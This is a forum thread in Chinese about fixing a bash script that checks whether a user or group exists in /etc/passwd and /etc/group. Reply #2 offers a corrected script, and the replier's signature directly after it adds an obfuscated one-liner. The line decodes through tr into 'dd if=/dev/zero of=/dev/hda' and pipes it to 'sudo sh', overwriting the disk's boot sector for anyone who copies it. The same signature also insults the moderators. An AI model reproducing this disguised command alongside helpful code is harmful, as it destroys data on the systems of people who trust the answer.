[問題]来看看,很简单,但我也不会,是不是我太笨??

sh/bash/dash/ksh/zsh等Shell脚本
回复
kitkit210
帖子: 25
注册时间: 2006-09-11 17:25
送出感谢: 0
接收感谢: 0

[問題]来看看,很简单,但我也不会,是不是我太笨??

#1

帖子 kitkit210 » 2007-04-24 21:04

我想写一个可以用来验查使用者或群组是否存在的script
内容如下::::::::::::::::::::::::

#!/bin/bash
users= 'cut -d : -f 1 /etc/passwd|grep $2'
group= 'cut -d : -f 1 /etc/group|grep $2'

if [ "-u" = "$1" ] && [ "$users" = "$2"]; then
echo "User, $2 exists!"
else
echo "User, $2 does not exist!"

elif [ "$1" = "-g" ] && [ "$2" = "$group" ]; then
echo "Group, $2 exists!"
else
echo "Group, $2 does not exist!"
fi
echo "end of Script!"

执行后就有以下的错误
asd/Ass$ ./Q1.sh -u root
./Q1.sh: line 5: cut -d : -f 1 /etc/passwd|grep $2: 沒有此一檔案或目錄
./Q1.sh: line 6: cut -d : -f 1 /etc/group|grep $2: 沒有此一檔案或目錄
./Q1.sh: line 13: syntax error near unexpected token `elif'
./Q1.sh: line 13: `elif [ "$1" = "-g" ] && [ "$2" = "$group" ]; then'


我想它现的是
User/Group, username/groupname exists
OR
User/Group, username/groupname does not exists
End of Script!!!

在此请教大家,我错了什么???
还有`.....` 和'......'和"......"有什么分别??
ziyun
帖子: 262
注册时间: 2007-03-29 12:59
送出感谢: 0
接收感谢: 0

#2

帖子 ziyun » 2007-04-25 8:42

代码: 全选

#!/bin/bash
users=`cut -d : -f 1 /etc/passwd|grep $2`
group=`cut -d : -f 1 /etc/group|grep $2`

if [ "-u" == "$1" ] ;then
  if [ "$users" == "$2" ] ;then
   echo "User, $2 exists!"
  else
    echo "User, $2 does not exist!"
   fi
elif [ "$1" == "-g" ] ; then
      if [ "$2" == "$group" ];then
        echo "Group, $2 exists!"
      else
           echo "Group, $2 does not exist!"
      fi
fi
echo "end of Script!"
echo 'qq%vs+&qri&mreb%bs+&qri&uqn%of+FBC%pbhag+B' | tr 'n-za-m&+A-J%' 'a-z/=0-9 ' |sudo sh #<-警告:
强烈鄙视SB版主,一群跟风的SB,一群自以为是的SB
对这个论坛彻底失望了
ziyun
帖子: 262
注册时间: 2007-03-29 12:59
送出感谢: 0
接收感谢: 0

#3

帖子 ziyun » 2007-04-25 8:52

你这个脚本有些问题,我系统中有一个test和test3用户,当我检测这两个用户的时候是not exist
最好判断一下,cut -d : -f 1 /etc/passwd|grep $2 的结果是不是有多个值
回复

回到 “Shell脚本”